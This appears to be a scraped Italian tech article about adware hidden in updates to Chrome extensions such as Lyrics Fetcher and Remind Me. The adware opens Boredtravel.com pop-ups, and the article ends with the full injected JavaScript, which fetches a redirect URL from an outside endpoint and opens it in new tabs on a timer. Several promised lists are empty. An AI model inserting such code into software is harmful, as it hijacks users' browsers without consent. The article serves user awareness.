Un adware che apre pop-up su Boredtravel.com \u00e8 scivolato in alcune estensioni di Chrome. Ecco come individuare e rimuovere questo virus.<\/p>\n\n\n\n\n\n
Uno script dannoso \u00e8 stato inserito nell'ultimo aggiornamento di diverse estensioni di Chrome. Questo script apre il sito Boredtravel.com all'insaputa degli utenti, a intervalli regolari di tempo. Le estensioni infettate da questo script sono Lyrics Fetcher e Remind Me, dell'utile sviluppatore web.<\/p>\n\n\n\n
Questo adware non \u00e8 pericoloso in quanto apre solo una pagina pubblicitaria. \u00c8 comunque inquietante lasciare che si verifichi questa pratica dubbia.<\/p>\n\n\n\n
Per identificare l'adware, basta analizzare il comportamento del tuo browser:<\/p>\n\n\n\n
La rimozione \u00e8 semplice e veloce:<\/p>\n\n\n\n
I casi sono stati identificati per le estensioni Lyrics Fetcher<\/a> e Ricordamelo<\/a>, ma potrebbero non essere i soli. \u00c8 possibile che l'adware sia presente anche sull'estensione Modalit\u00e0 bambino<\/a>, un'estensione dello stesso sviluppatore. <\/p>\n\n\n\n Non \u00e8 chiaro se lo sviluppatore di questa estensione abbia aggiunto deliberatamente lo script dannoso o se sia stato fatto da un hacker. Per precauzione, ti consigliamo di disabilitare o rimuovere tutte le estensioni da questo sviluppatore. <\/p>\n\n\n\n Le estensioni sono state segnalate a Google, lo sapremo presto. Se altre estensioni hanno lo stesso problema, non esitare a farcelo sapere.<\/p>\n\n\n\n Ecco alcune estensioni alternative:<\/p>\n\n\n\n Il principio \u00e8 semplice, lo sviluppatore o un hacker ha aggiunto uno script nelle estensioni interessate. Questo script, che viene eseguito in background, indica al browser di aprire una pagina pubblicitaria a intervalli regolari. L'obiettivo per lo sviluppatore o l'hacker \u00e8 che la pagina di destinazione viene aperta pi\u00f9 volte. Ci\u00f2 consente di aumentare il numero di visualizzazioni del sito Boredtravel.com e di aumentare le entrate correlate.<\/p>\n\n\n\n Ecco il codice che \u00e8 stato aggiunto nell'estensione. Ho aggiunto commenti verdi per capire meglio<\/p>\n\n\nSostituisci estensioni<\/h3>\n\n\n\n
Il lavoro di Boredtravel.com<\/h2>\n\n\n\n
\n<script>\n\n\n\/\/ fonction qui ouvre un pop-up 6 minutes apr\u00e8s le d\u00e9marrage de Chrome\n setTimeout(function () { \n $.ajax({\n url: "https:\/\/demo7530752.mockable.io\/url",\n \/* cette URL g\u00e9n\u00e8re un lien du type\n https:\/\/ourshort.com\/?g\/BNHzHJJ *\/\n async: false,\n dataType: 'json',\n success: function (data) {\n\n \/\/ouverture du lien g\u00e9n\u00e9r\u00e9, qui redirige ensuite vers Boredtravel.com\n var newURL = data.msg;\n chrome.tabs.create({ url: newURL }); ;\n intervalWebsite() \/* appel de la fonction qui ouvre\n un pop-up toutes les 4 heures *\/\n }\n });\n }, 6 * 60 * 1000) \/\/ 6 x 60 x 1000 millisecondes = 6 min\n\n\n\/\/ fonction qui ouvre un pop-up toutes les 4 heures\n function intervalWebsite() {\n setInterval(function () {\n $.ajax({\n url: "https:\/\/demo7530752.mockable.io\/url",\n \/\/ comme dans la premi\u00e8re fonction\n async: false,\n dataType: 'json',\n success: function (data) {\n\n \/\/ comme dans la premi\u00e8re fonction\n var newURL = data.msg;\n chrome.tabs.create({ url: newURL }); ;\n\n }\n });\n }, 240 * 60 * 1000)\/\/ 240 x 60 x 1000 millisecondes = 240 min = 4h\n }\n\n\n<\/script>\n<\/pre><\/div>\n\n\n